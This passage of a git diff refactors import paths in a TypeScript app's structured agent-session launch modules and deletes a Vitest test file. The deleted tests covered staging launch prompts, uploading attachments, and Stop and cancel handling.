-      expect(replacement.overlay()).toEqual({})
-      expect(
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')
-      ).toHaveLength(0)
-      forgetStructuredSessionSelection(launch.sessionId)
-    }
-  )
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.ts
index df8e76d1166..ee7e92c5b68 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.ts
@@ -9,7 +9,7 @@ import {
   structuredLaunchRequestedOptions
 } from '../../../../../shared/native-chat/input/native-chat-session-option-defaults'
 import type { structuredSessionSelectionController } from '../options/structured-agent-session-selection-controller'
-import type { StructuredLaunchState } from './structured-agent-session-launch-registry'
+import type { StructuredLaunchState } from './structured-agent-session-launch-state-store'
 import { StructuredAgentSessionLaunchCancelledError } from './structured-agent-session-launch-recovery'
 
 export type LegacyPrerequisites = {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-probe-outage.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-probe-outage.test.ts
index 171c7ef9fba..27ea0796491 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-probe-outage.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-probe-outage.test.ts
@@ -2,6 +2,9 @@
 
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
+import { createStructuredAgentSessionLaunchIntent } from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
+import { StructuredAgentSessionCreateUnknownOutcomeError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import { launchAndReconcile } from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
 
 const calls = vi.hoisted(() => ({
   log: new Array<string>(),
@@ -39,10 +42,6 @@ vi.mock('@/runtime/native-chat/tab-inventory/structured-session-tab-inventory',
   })
 }))
 
-import { createStructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import { StructuredAgentSessionCreateUnknownOutcomeError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { launchAndReconcile } from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
-
 function launchState(executionHostId: 'local' | 'runtime:server-1') {
   return {
     intent: createStructuredAgentSessionLaunchIntent('wt-1', 'claude', executionHostId),
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt-outcome.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt-outcome.ts
index 043d5b9a0a7..b5436b99d4b 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt-outcome.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt-outcome.ts
@@ -9,7 +9,7 @@ import { STRUCTURED_AGENT_SESSION_SEND_BUDGET_MS } from '@/components/native-cha
 import {
   notifyStructuredLaunchListeners,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 
 /** Completing the caller leaves uncertain opening content independent of live startup work. */
 export function trackStructuredLaunchPromptOutcome(
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.test.ts
deleted file mode 100644
index c1d54892d81..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.test.ts
+++ /dev/null
@@ -1,490 +0,0 @@
-// @vitest-environment happy-dom
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => ({ call: vi.fn() }))
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.call
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-probe', () => ({
-  ensureRuntimeEnvironmentCompatible: vi.fn(async () => undefined)
-}))
-
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  // Sends reach the runtime RPC through this wrapper, as in the app.
-  callStructuredAgentSession: (target: unknown, method: string, params?: unknown) =>
-    mocks.call(target, method, params)
-}))
-
-vi.mock(
-  '../../../runtime/native-chat/host-capabilities/structured-agent-session-host-support',
-  () => ({
-    structuredAgentSessionHostSupports: vi.fn(async () => true)
-  })
-)
-
-import {
-  resetStructuredAgentSessionSendsForTests,
-  sendStructuredAgentSessionMessage,
-  settleStructuredAgentSessionSendsFromJournal,
-  stopStructuredAgentSessionSends
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { readNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { readNativeChatComposerDraft } from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import {
-  getStructuredAgentSessionPendingSends,
-  getStructuredAgentSessionSendNotice,
-  subscribeToStructuredAgentSessionPendingSends
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import {
-  captureNativeChatStagedInput,
-  releaseNativeChatStagedFiles,
-  stageNativeChatDraftFile
-} from '@/components/native-chat/drafts/native-chat-draft-attachment-staging'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import { AGENT_SESSION_ATTACHMENTS_RUNTIME_CAPABILITY } from '../../../../../shared/agent-session/agent-session-runtime-capabilities'
-import {
-  discardStructuredLaunchPrompts,
-  hasStagedStructuredLaunchPrompt,
-  settleStructuredAgentLaunchPrompt,
-  stageStructuredLaunchPrompt,
-  takeBackLegacyStructuredLaunchPrompts
-} from './structured-agent-session-launch-prompt'
-
-const SESSION = 'session-1'
-const STAGING_SCOPE = 'pending-launch-attachments'
-const target = { kind: 'local' } as const
-
-function accepted(clientMessageId: string) {
-  return {
-    ok: true,
-    replayed: false,
-    fence: 1,
-    cursor: { epoch: 'epoch-1', sequence: 1 },
-    value: {
-      clientMessageId,
-      submission: {
-        clientMessageId,
-        fence: 1,
-        payloadFingerprint: 'fingerprint',
-        dispatchState: 'accepted',
-        providerItemId: null,
-        reason: null,
-        submittedAt: 1,
-        resolvedAt: null
-      }
-    }
-  }
-}
-
-function sends(): unknown[][] {
-  return mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')
-}
-
-function pendingTexts(): string[] {
-  return getStructuredAgentSessionPendingSends(SESSION).map(
-    (entry) =>
-      `${entry.body.blocks.map((block) => (block.type === 'text' ? block.text : '')).join('')}:${entry.phase}`
-  )
-}
-
-function draft(): string {
-  return readNativeChatDraftCache(structuredAgentSessionDraftScopeKey(SESSION))
-}
-
-function launchWaitingForAttachments() {
-  const input = {
-    text: 'review the screenshot',
-    attachments: [{ path: '/client/paste.png', previewUri: '' }]
-  }
-  const upload = Promise.withResolvers<typeof input>()
-  const preparing = Promise.withResolvers<void>()
-  const stagedPrompt = stageStructuredLaunchPrompt(SESSION, input.text, {
-    attachments: input.attachments,
-    prepare: () => {
-      preparing.resolve()
-      return upload.promise
-    }
-  })
-  const settled = settleStructuredAgentLaunchPrompt({
-    launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-    target,
-    options: { prompt: input.text, promptAttachments: input.attachments },
-    stagedPrompt
-  })
-  return { input, upload, preparing: preparing.promise, stagedPrompt, settled }
-}
-
-describe('settleStructuredAgentLaunchPrompt', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    localStorage.clear()
-    resetStructuredAgentSessionSendsForTests()
-    clearNativeChatDraftCacheForTests()
-    discardStructuredLaunchPrompts(SESSION)
-    mocks.call.mockImplementation(async (_target, _method, params) =>
-      accepted(params.envelope.clientOperationId)
-    )
-  })
-
-  afterEach(() => {
-    releaseNativeChatStagedFiles(STAGING_SCOPE)
-    replaceRuntimeEnvironmentRevisions([])
-    vi.unstubAllGlobals()
-  })
-
-  it('sends the prompt once after the launch publishes, under its receipt fence', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    const onPromptDelivered = vi.fn()
-
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 7 }),
-        target,
-        options: { prompt: 'review this', onPromptDelivered },
-        stagedPrompt
-      })
-    ).resolves.toEqual({ delivered: true, failureNotified: false })
-
-    expect(onPromptDelivered).toHaveBeenCalledOnce()
-    // The receipt's fence is known, so no history read precedes the send.
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.send'])
-    expect(sends()[0]?.[2]).toMatchObject({
-      envelope: { sessionId: SESSION, expectedRuntimeFence: 7 },
-      body: { blocks: [{ type: 'text', text: 'review this' }] }
-    })
-    expect(hasStagedStructuredLaunchPrompt(SESSION)).toBe(false)
-  })
-
-  it.each([
-    {
-      name: 'an image-only first message',
-      text: '',
-      skills: undefined,
-      blocks: [{ type: 'image-ref', path: '/client/paste.png' }]
-    },
-    {
-      name: 'a first message with an image and a selected skill',
-      text: 'review $audit',
-      skills: [{ name: 'audit', path: '/repo/.agents/skills/audit/SKILL.md' }],
-      blocks: [
-        { type: 'text', text: 'review $audit' },
-        { type: 'image-ref', path: '/client/paste.png' }
-      ]
-    }
-  ])('sends $name without losing its rich input', async ({ text, skills, blocks }) => {
-    const attachments = [{ path: '/client/paste.png', previewUri: '' }]
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, text, { attachments, skills })
-
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-        target,
-        options: { prompt: text, promptAttachments: attachments, promptSkills: skills },
-        stagedPrompt
-      })
-    ).resolves.toMatchObject({ delivered: true })
-
-    expect(sends()).toHaveLength(1)
-    expect(sends()[0]?.[2]).toMatchObject({
-      body: { kind: 'message', role: 'user', blocks, ...(skills ? { skills } : {}) }
-    })
-    expect(draft()).toBe('')
-  })
-
-  it('uploads staged files before sending their host paths and selected skills', async () => {
-    const remoteTarget = { kind: 'environment', environmentId: 'env-1' } as const
-    const attachments = [{ path: '/client/paste.png', previewUri: '' }]
-    const skills = [{ name: 'audit', path: '/repo/.agents/skills/audit/SKILL.md' }]
-    const text = 'review $audit with @"/client/brief notes.txt"'
-    stageNativeChatDraftFile(STAGING_SCOPE, '/client/paste.png')
-    stageNativeChatDraftFile(STAGING_SCOPE, '/client/brief notes.txt')
-    const preparation = captureNativeChatStagedInput(STAGING_SCOPE)
-    replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 1, pairingRevision: 7 }])
-    const upload = vi.fn(async () => ({
-      uploaded: [
-        { sourcePath: '/client/paste.png', path: '/host/attachments/paste.png' },
-        { sourcePath: '/client/brief notes.txt', path: '/host/attachments/brief notes.txt' }
-      ],
-      skipped: [],
-      failed: []
-    }))
-    vi.stubGlobal('api', { fs: { uploadPathsToAgentSessionAttachments: upload } })
-    mocks.call.mockImplementation(async (_target, method, params) =>
-      method === 'status.get'
-        ? { runtimeId: 'runtime-1', capabilities: [AGENT_SESSION_ATTACHMENTS_RUNTIME_CAPABILITY] }
-        : accepted(params.envelope.clientOperationId)
-    )
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, text, {
-      attachments,
-      skills,
-      prepare: (sessionId, destination) =>
-        preparation.prepare(
-          { text, attachments, skills },
-          {
-            sessionId,
-            runtimeEnvironmentId:
-              destination.kind === 'environment' ? destination.environmentId : null
-          }
-        )
-    })
-
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-        target: remoteTarget,
-        options: { prompt: text, promptAttachments: attachments, promptSkills: skills },
-        stagedPrompt
-      })
-    ).resolves.toMatchObject({ delivered: true })
-
-    expect(upload).toHaveBeenCalledOnce()
-    expect(upload).toHaveBeenCalledWith({
-      paths: ['/client/paste.png', '/client/brief notes.txt'],
-      environmentId: 'env-1',
-      sessionId: SESSION,
-      expectedEnvironmentPairingRevision: 7,
-      expectedEnvironmentRuntimeId: 'runtime-1'
-    })
-    expect(sends()).toHaveLength(1)
-    expect(sends()[0]?.[2]).toMatchObject({
-      body: {
-        blocks: [
-          { type: 'text', text: 'review $audit with @"/host/attachments/brief notes.txt"' },
-          { type: 'image-ref', path: '/host/attachments/paste.png' }
-        ],
-        skills
-      }
-    })
-  })
-
-  it('returns rich input on Stop during upload and never sends it after upload completes', async () => {
-    const launch = launchWaitingForAttachments()
-    await launch.preparing
-
-    stopStructuredAgentSessionSends(SESSION)
-    launch.upload.resolve({
-      ...launch.input,
-      attachments: [{ path: '/host/attachments/paste.png', previewUri: '' }]
-    })
-    await Promise.all([launch.settled, launch.stagedPrompt.delivery])
-
-    expect(sends()).toHaveLength(0)
-    expect(draft()).toBe('review the screenshot')
-    expect(
-      readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(SESSION)).images
-    ).toMatchObject([{ path: '/client/paste.png' }])
-    expect(pendingTexts()).toEqual([])
-    expect(hasStagedStructuredLaunchPrompt(SESSION)).toBe(false)
-  })
-
-  it('does not restore closed chat input or a notice when its pending upload rejects', async () => {
-    const launch = launchWaitingForAttachments()
-    await launch.preparing
-
-    discardStructuredLaunchPrompts(SESSION)
-    launch.upload.reject(new Error('upload interrupted'))
-    await Promise.all([launch.settled, launch.stagedPrompt.delivery])
-
-    expect(sends()).toHaveLength(0)
-    expect(draft()).toBe('')
-    expect(
-      readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(SESSION)).images
-    ).toEqual([])
-    expect(getStructuredAgentSessionSendNotice(SESSION)).toBeNull()
-    expect(pendingTexts()).toEqual([])
-    expect(hasStagedStructuredLaunchPrompt(SESSION)).toBe(false)
-  })
-
-  it('shares one send between every caller waiting on the same staged prompt', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    const launchResult = Promise.resolve({ sessionId: SESSION, fence: 1 })
-    const settle = () =>
-      settleStructuredAgentLaunchPrompt({
-        launchResult,
-        target,
-        options: { prompt: 'review this' },
-        stagedPrompt
-      })
-
-    const results = await Promise.all([settle(), settle()])
-
-    expect(results).toEqual([
-      { delivered: true, failureNotified: false },
-      { delivered: true, failureNotified: false }
-    ])
-    expect(sends()).toHaveLength(1)
-  })
-
-  it("puts the prompt in the chat's composer when the launch fails, and preserves that ownership result", async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    const failure = new Error('create refused')
-
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.reject(failure),
-        target,
-        options: { prompt: 'review this' },
-        stagedPrompt
-      })
-    ).resolves.toMatchObject({ delivered: false, failureNotified: true, inComposer: true })
-
-    expect(draft()).toBe('review this')
-    expect(sends()).toHaveLength(0)
-    expect(hasStagedStructuredLaunchPrompt(SESSION)).toBe(false)
-  })
-
-  it('neither sends nor gives back a prompt whose launch was cancelled', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    discardStructuredLaunchPrompts(SESSION)
-
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-        target,
-        options: { prompt: 'review this' },
-        stagedPrompt
-      })
-    ).resolves.toMatchObject({ delivered: false, failureNotified: true })
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.reject(new Error('cancelled')),
-        target,
-        options: { prompt: 'review this' },
-        stagedPrompt
-      })
-    ).resolves.toMatchObject({ delivered: false, failureNotified: true })
-
-    expect(sends()).toHaveLength(0)
-    expect(draft()).toBe('')
-  })
-
-  it('gives a Stop before the chat is published its prompt back, and never sends it', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    let publish: (receipt: { sessionId: string; fence: number }) => void = () => {}
-    const settled = settleStructuredAgentLaunchPrompt({
-      launchResult: new Promise((resolve) => {
-        publish = resolve
-      }),
-      target,
-      options: { prompt: 'review this' },
-      stagedPrompt
-    })
-    expect(pendingTexts()).toEqual(['review this:sending'])
-
-    takeBackLegacyStructuredLaunchPrompts(SESSION)
-    publish({ sessionId: SESSION, fence: 1 })
-
-    await expect(settled).resolves.toMatchObject({ delivered: false, failureNotified: true })
-    expect(draft()).toBe('review this')
-    expect(pendingTexts()).toEqual([])
-    expect(sends()).toHaveLength(0)
-    expect(hasStagedStructuredLaunchPrompt(SESSION)).toBe(false)
-  })
-
-  it('reports a prompt the host refused as not delivered, with its text back in the composer', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    const onPromptDelivered = vi.fn()
-    mocks.call.mockResolvedValue({
-      ok: false,
-      refusal: { code: 'agent_session_checkpoint_stale', message: 'stale' }
-    })
-
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-        target,
-        options: { prompt: 'review this', onPromptDelivered },
-        stagedPrompt
-      })
-    ).resolves.toEqual({ delivered: false, failureNotified: false, inComposer: true })
-
-    expect(onPromptDelivered).not.toHaveBeenCalled()
-    expect(draft()).toBe('review this')
-  })
-
-  // Reserve the first-message slot from click through creation; later typed text must never overtake launch input.
-  it('holds the chat for its prompt from the click, then sends that prompt first, once', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    expect(pendingTexts()).toEqual(['review this:sending'])
-    expect(
-      sendStructuredAgentSessionMessage({ sessionId: SESSION, target, text: 'typed meanwhile' })
-    ).toBeNull()
-    expect(sends()).toHaveLength(0)
-
-    let receive = (_receipt: { sessionId: string; fence: number }): void => {}
-    const settled = settleStructuredAgentLaunchPrompt({
-      launchResult: new Promise((resolve) => (receive = resolve)),
-      target,
-      options: { prompt: 'review this' },
-      stagedPrompt
-    })
-    receive({ sessionId: SESSION, fence: 1 })
-    await expect(settled).resolves.toEqual({ delivered: true, failureNotified: false })
-    expect(sends()).toHaveLength(1)
-    expect(JSON.stringify(sends()[0])).toContain('review this')
-    expect(
-      sendStructuredAgentSessionMessage({ sessionId: SESSION, target, text: 'typed after' })
-    ).not.toBeNull()
-  })
-
-  // Once sent, the prompt's entry is the sender's: what it keeps after settling stays.
-  it('leaves in the chat a launch prompt the host recorded and a Stop then withdrew', async () => {
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    mocks.call.mockImplementation(async (_target, _method, params) => {
-      const answer = accepted(params.envelope.clientOperationId)
-      answer.value.submission.dispatchState = 'pending'
-      return answer
-    })
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-        target,
-        options: { prompt: 'review this' },
-        stagedPrompt
-      })
-    ).resolves.toEqual({ delivered: true, failureNotified: false })
-    const promptId: string = mocks.call.mock.calls.find(
-      ([, method]) => method === 'agentSession.send'
-    )?.[2].envelope.clientOperationId
-
-    settleStructuredAgentSessionSendsFromJournal(
-      SESSION,
-      [
-        {
-          clientMessageId: promptId,
-          fence: 1,
-          payloadFingerprint: 'fingerprint',
-          dispatchState: 'rejected',
-          providerItemId: null,
-          reason: null,
-          rejection: { kind: 'cancelled' },
-          submittedAt: 1,
-          resolvedAt: 2
-        }
-      ],
-      []
-    )
-    // The host's row draws it, with its stop row; the composer is left alone.
-    expect(draft()).toBe('')
-    expect(pendingTexts()).toEqual([])
-  })
-
-  it("keeps an open chat drawing its launch prompt until the prompt's row arrives", async () => {
-    const stop = subscribeToStructuredAgentSessionPendingSends(SESSION, () => {})
-    const stagedPrompt = stageStructuredLaunchPrompt(SESSION, 'review this')
-    await expect(
-      settleStructuredAgentLaunchPrompt({
-        launchResult: Promise.resolve({ sessionId: SESSION, fence: 1 }),
-        target,
-        options: { prompt: 'review this' },
-        stagedPrompt
-      })
-    ).resolves.toEqual({ delivered: true, failureNotified: false })
-    expect(pendingTexts()).toEqual(['review this:recorded'])
-    stop()
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.ts
index 3be3954d816..945804d5828 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.ts
@@ -10,22 +10,9 @@ import {
   handBackStagedLaunchPrompt,
   type StagedStructuredLaunchPrompt,
   type StagedDelivery,
-  type StructuredLaunchPromptOptions,
-  type StructuredPromptDeliveryResult
-} from './structured-agent-session-staged-prompt'
-export {
-  stageStructuredLaunchPrompt,
-  discardStructuredLaunchPrompts,
-  discardStructuredAgentSessionChatSends,
-  takeBackLegacyStructuredLaunchPrompts,
-  prepareLegacyStructuredLaunchPrompts,
-  prepareStructuredLaunchPromptForCreate,
-  issueStructuredLaunchPromptForCreate,
-  hasStagedStructuredLaunchPrompt,
-  type StagedStructuredLaunchPrompt,
-  type StructuredLaunchPromptOptions,
-  type StructuredPromptDeliveryResult
+  type StructuredLaunchPromptOptions
 } from './structured-agent-session-staged-prompt'
+import type { StructuredPromptDeliveryResult } from './structured-agent-session-launch-callers'
 
 function promptDeliveryResult(outcome: StagedDelivery): StructuredPromptDeliveryResult {
   return {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication-confirmation.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication-confirmation.ts
index a17fd6f242e..9ab3bcaff10 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication-confirmation.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication-confirmation.ts
@@ -7,7 +7,7 @@ import { restorePersistedStructuredLaunchState } from './structured-agent-sessio
 import {
   getStructuredLaunchStateBySessionId,
   notifyStructuredLaunchListeners
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 
 /** A tab proves the chat exists; its journal must also confirm the immutable opening message. */
 export function confirmStructuredLaunchFirstMessagePublication(
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts
index a0dc7496bf0..070ce6a833a 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts
@@ -1,12 +1,12 @@
 import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
 import { deleteStructuredAgentLaunchRecord } from './structured-agent-session-launch-persistence'
+import { hasStructuredAgentSessionLaunchCancellationTombstone } from './structured-agent-session-launch-registry'
 import {
   getPersistedStructuredAgentLaunchRecord,
   getStructuredLaunchStateBySessionId,
-  hasStructuredAgentSessionLaunchCancellationTombstone,
   notifyStructuredLaunchListeners
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 import { forgetUnlistedCreatedChat } from './pane/structured-agent-session-unlisted-created-chats'
 
 function confirmStructuredLaunchFirstMessagePublication(
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts
index 420aaa85836..8d8cbb310f0 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts
@@ -1,14 +1,15 @@
 import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config'
+import { isAgentSessionOptions } from '../../../../../shared/agent-session/lifecycle/agent-session-record'
+import { SendBodyStructure } from '../../../../../shared/rpc-contract/structured-agent-session-message-params'
+import { parseExecutionHostId } from '../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import type {
   StructuredAgentSessionFirstMessage,
   StructuredAgentSessionForkSource,
   StructuredAgentSessionResumeSource
 } from '../../../../../shared/agent-session/structured-agent-session-create'
-import { isAgentSessionOptions } from '../../../../../shared/agent-session/lifecycle/agent-session-record'
-import { SendBodyStructure } from '../../../../../shared/rpc-contract/structured-agent-session-message-params'
-import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
 
 export type StructuredAgentLaunchPersistedLifecycle = 'pending' | 'visibility-unknown' | 'failed'
 
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-recovery.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-recovery.ts
index 66b477ad617..b28f705bdd9 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-recovery.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-recovery.ts
@@ -1,20 +1,18 @@
 import { structuredAgentSessionSettledSends } from '../../../../../shared/agent-session/requests/structured-agent-session-send-settlement'
-import type { AgentSessionWriteFailure } from '../../../../../shared/agent-session/failures/agent-session-write-failure'
-import type { AgentSessionHistoryResult } from '../../../../../shared/agent-session/agent-session-wire'
-import type { AgentJournalCursor } from '../../../../../shared/agent-session/journal/agent-session-journal-identity'
-import type { AgentJournalSubmission } from '../../../../../shared/agent-session/journal/agent-session-journal-types'
-import {
-  launchStructuredAgentSession,
-  type StructuredLaunchHostSeedListener
-} from './structured-agent-session-launch-create-call'
+import { launchStructuredAgentSession } from './structured-agent-session-launch-create-call'
+import type { StructuredLaunchHostSeedListener } from './structured-agent-session-launch-create-call'
 import {
   StructuredAgentSessionCreateRefusalError,
   StructuredAgentSessionCreateUnknownOutcomeError
 } from './structured-agent-session-launch-errors'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
 import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
 import { readStructuredSessionTabInventory } from '@/runtime/native-chat/tab-inventory/structured-session-tab-inventory'
 import { publishStructuredAgentSessionCreateHydration } from './structured-agent-session-create-hydration'
+import type { AgentSessionWriteFailure } from '../../../../../shared/agent-session/failures/agent-session-write-failure'
+import type { AgentSessionHistoryResult } from '../../../../../shared/agent-session/agent-session-wire'
+import type { AgentJournalCursor } from '../../../../../shared/agent-session/journal/agent-session-journal-identity'
+import type { AgentJournalSubmission } from '../../../../../shared/agent-session/journal/agent-session-journal-types'
+import type { StructuredAgentSessionLaunchIntent } from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
 
 export type StructuredAgentLaunchReceipt = {
   sessionId: string
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts
index 43639f90151..7fb2bcaf50a 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts
@@ -13,7 +13,7 @@ import {
   resetStructuredAgentLaunchCancellationForTests,
   retireAbsentStructuredAgentLaunchCancellations,
   retireStructuredAgentLaunchCancellation
-} from '../../launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation'
+} from './structured-agent-session-launch-cancellation'
 import { resetStructuredAgentLocalLaunchCancelsForTests } from './structured-agent-session-local-launch-cancel'
 import {
   clearStructuredLaunchStateStoreForTests,
@@ -24,18 +24,6 @@ import {
   subscribeStructuredAgentLaunchStatus
 } from './structured-agent-session-launch-state-store'
 
-export {
-  deleteStructuredLaunchStateIfCurrent,
-  getPersistedStructuredAgentLaunchRecord,
-  getStructuredLaunchStateBySessionId,
-  notifyStructuredLaunchListeners,
-  publishStructuredLaunchChange,
-  setStructuredLaunchState,
-  structuredLaunchStates,
-  subscribeStructuredAgentLaunchStatus,
-  type StructuredLaunchState
-} from './structured-agent-session-launch-state-store'
-
 export type StructuredAgentLaunchStatus = 'idle' | 'pending' | 'unknown'
 export type StructuredAgentSessionLaunchLifecycle =
   | 'pending'
@@ -87,12 +75,6 @@ export function getStructuredAgentSessionLaunchLifecycle(
   return getPersistedStructuredAgentLaunchRecord(sessionId)?.lifecycle ?? null
 }
 
-export {
-  getStructuredAgentSessionLaunchResumes,
-  structuredAgentSessionLaunchHasRetainedInput,
-  settleStructuredLaunchFirstMessageFromJournal
-} from './structured-agent-session-launch-input'
-
 /** The host a launch still owed an outcome was sent to, in memory or persisted across a reload. */
 export function getStructuredAgentSessionLaunchOwner(
   sessionId: string
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-reload.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-reload.ts
index bd3862158c2..0231024f8b4 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-reload.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-reload.ts
@@ -3,21 +3,21 @@ import {
   getStructuredAgentSessionPendingSends,
   publishStructuredAgentSessionSends
 } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import {
-  restoreStructuredAgentSessionLaunchIntent,
-  type StructuredAgentSessionLaunchIntent
-} from '../../launch-structured-agent-session'
+import { restoreStructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
